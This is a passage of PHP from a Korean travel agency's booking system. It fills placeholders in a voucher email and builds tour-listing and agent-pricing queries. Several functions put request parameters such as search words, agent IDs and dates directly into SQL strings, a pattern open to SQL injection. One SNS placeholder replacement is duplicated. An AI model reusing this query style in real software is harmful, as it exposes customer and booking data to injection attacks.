		$mail_body = str_replace("{{현지 비상 연락처}}", _e2('현지 비상 연락처'), $mail_body);
		$mail_body = str_replace("{{비상전화 : +82 262988000 (09:00~18:00 / Mon~Fri)}}", _e2('비상전화 : +82 262988000 (09:00~18:00 / Mon~Fri)'), $mail_body);
		$mail_body = str_replace("{{Whatsapp : +82 108249-1901}}", _e2('Whatsapp : +82 108249-1901'), $mail_body);
		$mail_body = str_replace("{{Line : @tktravelkorea}}", _e2('Line : @tktravelkorea'), $mail_body);
		$mail_body = str_replace("{{Wechat : tktravelcs}}", _e2('Wechat : tktravelcs'), $mail_body);
		
		
		$mail_body = str_replace("{{미팅 및 탑승 장소 안내}}", _e2('미팅 및 탑승 장소 안내'), $mail_body);
		$mail_body = str_replace("{{환불 및 취소규정}}", _e2('환불 및 취소규정'), $mail_body);
		$mail_body = str_replace("{{감사합니다!}}", _e2('감사합니다!'), $mail_body);
		$mail_body = str_replace("{{즐거운 여행 되세요.}}", _e2('즐거운 여행 되세요.'), $mail_body);
		$mail_body = str_replace("{{TK TRAVEL Co.,Ltd}}", _e2('TK TRAVEL Co.,Ltd'), $mail_body);
		$mail_body = str_replace("{{서울특별시 동대문구 신이문로 39, 명경빌딩 5층 (02409)}}", _e2('서울특별시 동대문구 신이문로 39, 명경빌딩 5층 (02409)'), $mail_body);
		
		//b2b미팅장소 이미지 url 추가
		$google_map = str_replace("/FileData/",$url."/FileData/",$row['google_map']);
						
		//
		$mail_body = str_replace("{URL}", $url, $mail_body);		
		$mail_body = str_replace("{바우처번호}", $row['rsv_no'], $mail_body);
		$mail_body = str_replace("{예약접수일}", $row['ins_dt'], $mail_body);
		$mail_body = str_replace("{출발날짜}", $row['ev_start'], $mail_body);
		$mail_body = str_replace("{상품이름}", $row['g_title'].'<br>'.$row['ev_title'], $mail_body);
		$mail_body = str_replace("{고객이름}", $row['res_cust_nm'], $mail_body);
		$mail_body = str_replace("{국적}", $row['res_cust_nat_cd'], $mail_body); //승객 국적
		//$inwon = _e2('대인')." {$row['adult_inwon']} + "._e2('소인')." {$row['child_inwon']} + "._e2('유아')." {$row['baby_inwon']} + "._e2('영아')." {$row['infant_inwon']}"; 
		$inwon = _e2('대인')." {$row['adult_inwon']} + "._e2('소인')." {$row['child_inwon']} + "._e2('유아')." {$row['baby_inwon']}"; //영아 제외 요청
		$mail_body = str_replace("{인원수}", $inwon, $mail_body);
		$mail_body = str_replace("{선택옵션}", $optionStr, $mail_body);
		$mail_body = str_replace("{탑승장소 / 시간}", $depot_nm, $mail_body);
		$mail_body = str_replace("{이메일}", $row['res_cust_email'], $mail_body);
		$mail_body = str_replace("{연락처}", $row['res_cust_hp'], $mail_body);
        $mail_body = str_replace("{SNS ID}", $row['b2b_sns_type'].' '.$row['b2b_sns_type'], $mail_body);
		$mail_body = str_replace("{SNS ID}", $row['b2b_sns_id'].' '.$row['b2b_sns_id'], $mail_body);
		$mail_body = str_replace("{고객 요청 사항}", $row['res_cust_memo'], $mail_body);
		$mail_body = str_replace("{미팅 및 탑승 장소 안내}", $google_map, $mail_body);		
		$mail_body = str_replace("{환불 및 취소규정}", $row['g_rule'], $mail_body);


		
		$data['mail_body'] = $mail_body;
		return $data;
	}
	
	
	/*
	 * 외환 총결제액
	 * 기존의 총결제액은 srh_pre_money 항목에 스토어 프로시저로 자동 계산됨
	 * 프로시저에 추가하지 않고 함수 활용 
	 */
	public function getPreMoney_fr($sql_where) {
		$price = 0;
		$sql = "select * from TB_RES_GOOD where 1 {$sql_where} ";
		$res = db_query($sql);
		while($row = db_fetch_array($res)) {
			
			// 입금상태 (미납/완납/과납)
			$class_AccountCustomer = new AccountCustomer();
			$arr = $class_AccountCustomer->res_account_info($row['res_no']);
			$arr_account = $arr['tot'];
			//확정예약이고 미납금이 있을때만
			if($row['res_stat_cd']=="C" && $arr_account['pre_money']>0) {
				$price += $row['sales_total_fr'];
			}
		}
		return $price; //외환 반환
	}
	
	
	
	
	/* open, close 개념 변경 start **********************************************************/
	
	/*
	 * 투어리스트
	 * 대리점의 국적에 따라 언어 구분
	 * open : 일정중 하나라도 대리점가 등록된 일정이 있을때 포함
	 * close : 일정중 하나라도 대리점가 등록된 일정이 있을때 제외
	 * agent_id값이 없을때는 총관리자 페이지 적용
	 */
	public function tourListNew($opt='') {
		$res = array();
		$data = array();

		$bidx = $this->returnBidx($opt['lang']);
		if(empty($bidx)) return;

		$page = $opt['page'];
	
		$table = 'good';
		$sql_where = "";
		$sql_where .= " AND g_ok='Y'"; //사용
		$sql_where .= " AND b_uid not in ('143','124','135','138','127','130')"; //차량상품 제외		

		/***
		 * @author taeyoung
		 * b2b 데이터가 안나와서 주석처리함.
		 * https://tkplace.co.kr/admin/res_good/b2b_tour_list.html
		 * JOY PARADISE 홀리데이
		 */
		$sql_where .= " AND Bidx='{$bidx}'"; //언어별 1차 카테고리 확인

		if(!empty($opt['tab'])) {
			$sql_where .= " AND tab='{$opt['tab']}'";
		} else {
			$sql_where .= " AND tab in ('D','P', 'T')"; //호텔, 티켓 제외
		}

		if(!empty($opt['tour_state'])) {
			if($opt['tour_state']=='open') {
				$sql_where .= " AND g_uid in ";
			} else if($opt['tour_state']=='close') {
				$sql_where .= " AND g_uid not in ";
			}
			//대리점가 등록 여부 확인
			$add_sql = (!empty($opt['agent_id']))? " d_agent_ga LIKE '%||{$opt['agent_id']}^%' ":" 1 ";
			$sql_where .= " (select g_uid from `date` where {$add_sql} and d_start BETWEEN '{$opt['date_s1']}' AND '{$opt['date_s2']}')";
		}
		if(!empty($opt['tour_code'])) $sql_where .= " AND tour_code='{$opt['tour_code']}'"; //투어코드
		if(!empty($opt['Cidx'])) $sql_where .= " AND Cidx='{$opt['Cidx']}'"; //투어지역
		if(!empty($opt['kind_code'])) $sql_where .= " AND kind_code='{$opt['kind_code']}'"; //투어종류
		if(!empty($opt['search_word_s'])) $sql_where .= " AND g_title LIKE '%{$opt['search_word_s']}%'";		
	
		$sql = "select count(*) as total from {$table} where 1=1 {$sql_where} ";

		/*if(devCookie()){
			p($sql);
		}*/

		$row = db_fetch($sql);
		$total = $row['total'];
	
		//
		if(!$page) $page = 1;
		$line = !empty($opt['list_count_s'])?$opt['list_count_s']:20; // 보여줄 갯수
		$list = 10; // 블럭 갯수
		$total_page = ceil($total / $line); // 총페이지
		if ($total == 0) $total_page = 1;
		if ($page > $total_page) $page = $total_page;
		$total_list = intval($total_page / $list);
		if ($total_page % $list == 0) $total_list--;
		$curr_list = intval($page / $list);
		if ($page % $list == 0) $curr_list--;
		$start_page = $curr_list * $list + 1;
		$prev_list = $start_page - $list;
		$next_list = $start_page + $list;
		$olds = $line * ($page - 1);
	
		$sql = "select *,(select b_lang from bc where b_uid={$table}.b_uid) b_lang from {$table} where 1 {$sql_where} ";
		$sql .= " order by g_uid desc ";
		if(empty($opt['excel'])) $sql .= " limit $olds , $line";
		//echo ''.$sql.'<br>';
		//logCheck($sql);
		$rs = db_query($sql);
		$num = $total - $line*($page-1);
		while($row = db_fetch_array($rs)){
			$row['no'] = $num;
			//상품의 행사중 가장 낮은 판매가 기준 정보 //대리점가 포함여부 확인
			$datePriceMin = $this->datePriceMinNew($row['g_uid']); 
			if(!empty($datePriceMin)) $row = array_merge($row,$datePriceMin);
			$row['kind_code_name'] = (empty($row['kind_code']))?'':base_codec("TGO","TKND",$row['kind_code'],"")[0]['cd_nm'];
			$row['siteUrl'] = $this->siteUrl($row['b_lang']);
			$row['dateNum'] = (!empty($opt['agent_id']))?$this->tourDateNumNew($row['g_uid'],$opt['date_s1'],$opt['date_s2'],$opt['agent_id']):0; //플랜수 //총관리자는 모두 close
			$data[] = $row;
			$num--;
		}
	
		$res['total'] = $total;
		$res['total_page'] = $total_page;
		$res['page'] = $page;
		$res['line'] = $line;
		$res['list'] = $list;
		$res['data'] = $data;
		return $res;
	}
	
	
	/*
	 * open/close 구분
	 * d_ok:행사상태(A예약가능,B대기,C마감,D출발확정)
	 * 대리점 가격이 등록된 경우만 확인	 
	 * 
	 */
	private function tourDateNumNew($g_uid,$date1,$date2,$agent_id) {
		$sql = "SELECT count(*) as total FROM `date` WHERE g_uid='{$g_uid}' ";
		//$sql .= " and (d_people2-d_people1)>0";
		//$sql .= " and d_start>'".date('Y-m-d')."'";		
		$sql .= " and d_agent_ga LIKE '%||{$agent_id}^%'";
		$sql .= " and d_start BETWEEN '{$date1}' AND '{$date2}'";				
		$row = db_fetch($sql);
		return $row['total'];
	}
	
	
	/*
	 * 전체 행사 리스트
	 * 투어달력에서 open, close 개념 변경
	 * open : 일정중 하나라도 대리점가 등록된 일정이 있을때 포함
	 * close : 일정중 하나라도 대리점가 등록된 일정이 있을때 제외
	 * agent_id값이 없을때는 총관리자 페이지 적용
	 */
	public function dateEventNew($opt='') {		
		$bidx = $this->returnBidx($opt['lang']);
		if(empty($bidx)) return;
	
		$data = array();
		$sql = "SELECT * FROM TB_GOOD_DATE_TYPE A INNER JOIN good B";
		$sql .= " ON A.g_uid=B.g_uid";
		$sql .= " WHERE 1";
		$sql .= " AND A.del_flag='N'";
		$sql .= " AND B.g_ok='Y'";
		$sql .= " AND B.tab in ('D','P')"; //호텔, 티켓 제외
		$sql .= " AND B.b_uid not in ('143','124','135','138','127','130')"; //차량상품 제외		
		$sql .= " AND B.Bidx='{$bidx}'"; //언어별 1차 카테고리 확인		
		if(!empty($opt['tour_state']) && !empty($opt['ym'])) {
			if($opt['tour_state']=='open') {
				$sql .= " AND A.dtid in ";
			} else if($opt['tour_state']=='close') {
				$sql .= " AND A.dtid not in ";
			}
			//대리점가 등록 여부 확인
			$add_sql = (!empty($opt['agent_id']))? " d_agent_ga LIKE '%||{$opt['agent_id']}^%' ":" 1 ";
			$sql .= " (select dtid from `date` where {$add_sql} and d_start like '".$opt['ym']."%')";			
		}
		if(!empty($opt['Cidx'])) $sql .= " AND B.Cidx='{$opt['Cidx']}'"; //투어지역
		if(!empty($opt['kind_code'])) $sql .= " AND B.kind_code='{$opt['kind_code']}'"; //투어종류		
		if(!empty($opt['search_word_s'])) $sql .= " AND A.date_type_nm LIKE '%{$opt['search_word_s']}%'";
		$sql .= " ORDER BY A.g_uid ASC";
		//echo $sql;
		$result = db_query($sql);
		while($row = db_fetch_array($result)) {
			$data[] = $row;
		}
		return $data;
	}
	
	
	/*
	 * 대리점 가격이 등록된 마지막 행사일
	 * 대리점 회원일때만 대리점 회원의 마지막 행사일 
	 * 총관리자 또는 공급처 회원일땐 대리점 구분없이 등록된 마지막 행사일 
	 */
	public function dateLastStart() {
		global $TO_MB, $cf;	
		
		$sql = "SELECT d_start FROM `date` WHERE 1";
		if($TO_MB['mb_level']==$cf['agent_level']) { //대리점 회원일때
			$sql .= " AND d_agent_ga LIKE '%||{$TO_MB['mb_id']}^%'"; //대리점가 포함
		} else {
			$sql .= " AND d_agent_ga!='' AND d_agent_ga IS NOT NULL"; 
		}				
		$sql .= " ORDER BY d_start DESC LIMIT 1";
		$row = db_fetch($sql);
		if(empty($row)) return date('Y-m-d',strtotime('+1 years'));		
		return $row['d_start'];
	}
	
	
	/*
	 * 최소출발인원/최대출발인원(정원)/판매가격(성인총판매가)/입금가격(대리점가)
	 * 상품중 정상가가 제일 낮은 행사 선택
	 * 대리점가는 현재 로그인 사용자 정보 확인
	 * 최소출발인원은 데이투어(단체,단독),패키지에 따라 다른 필드 사용
	 */
	private function datePriceMinNew($g_uid) {
		global $TO_MB, $cf;
	
		$data = array();
		$sql = "SELECT * FROM `date` WHERE 1";
		$sql .= " AND g_uid='{$g_uid}'";
		if($TO_MB['mb_level']==$cf['agent_level']) { //대리점 회원일때
			$sql .= " AND d_agent_ga LIKE '%||{$TO_MB['mb_id']}^%'"; //대리점가 포함
		} 
		//$sql .= " AND d_agent_ga!=''"; //대리점가 포함
		$sql .= " and dtid in (select dtid from TB_GOOD_DATE_TYPE where del_flag='N')"; //사용하는 플랜만
		$sql .= " ORDER BY d_money1 ASC LIMIT 1";
		//prePrint($sql);
		$row = db_fetch($sql);
		if(empty($row)) return;
		//
		if($row['tab']=='D') { //데이투어
			if($row['gdt']=='gr') { //단체투어
				$minPerson = $row['d_gr_people_min'];
			} else { //단독투어
				$minPerson = $row['d_pe_people_inwon'];
			}
		} else { //패키지
			$minPerson = $row['d_people3'];
		}
		$data['startDate'] = $row['d_start']; //출발일
		$data['minPerson'] = $minPerson; //최소출발인원
		$data['maxPerson'] = $row['d_people2']; //최대출발인원
		$data['adultPrice'] = $row['d_money1']; //판매가격
		$data['agencyPrice'] = ''; //입금가격
		if(!empty($row['d_agent_ga'])) {
			$d_agent_ga_arr = explode("||",$row['d_agent_ga']);
			foreach($d_agent_ga_arr as $k=>$v) {
				if(!empty($v)) {
					$agent_arr = explode("^",$v);
					if($agent_arr[0]==$TO_MB['mb_id']) {
						$data['agencyPrice'] = $agent_arr[1]; //대리점가
					}
				}
			}
		}
		return $data;
	}
	
	/* open, close 개념 변경 end **********************************************************/
	
}

Anon7 - 2021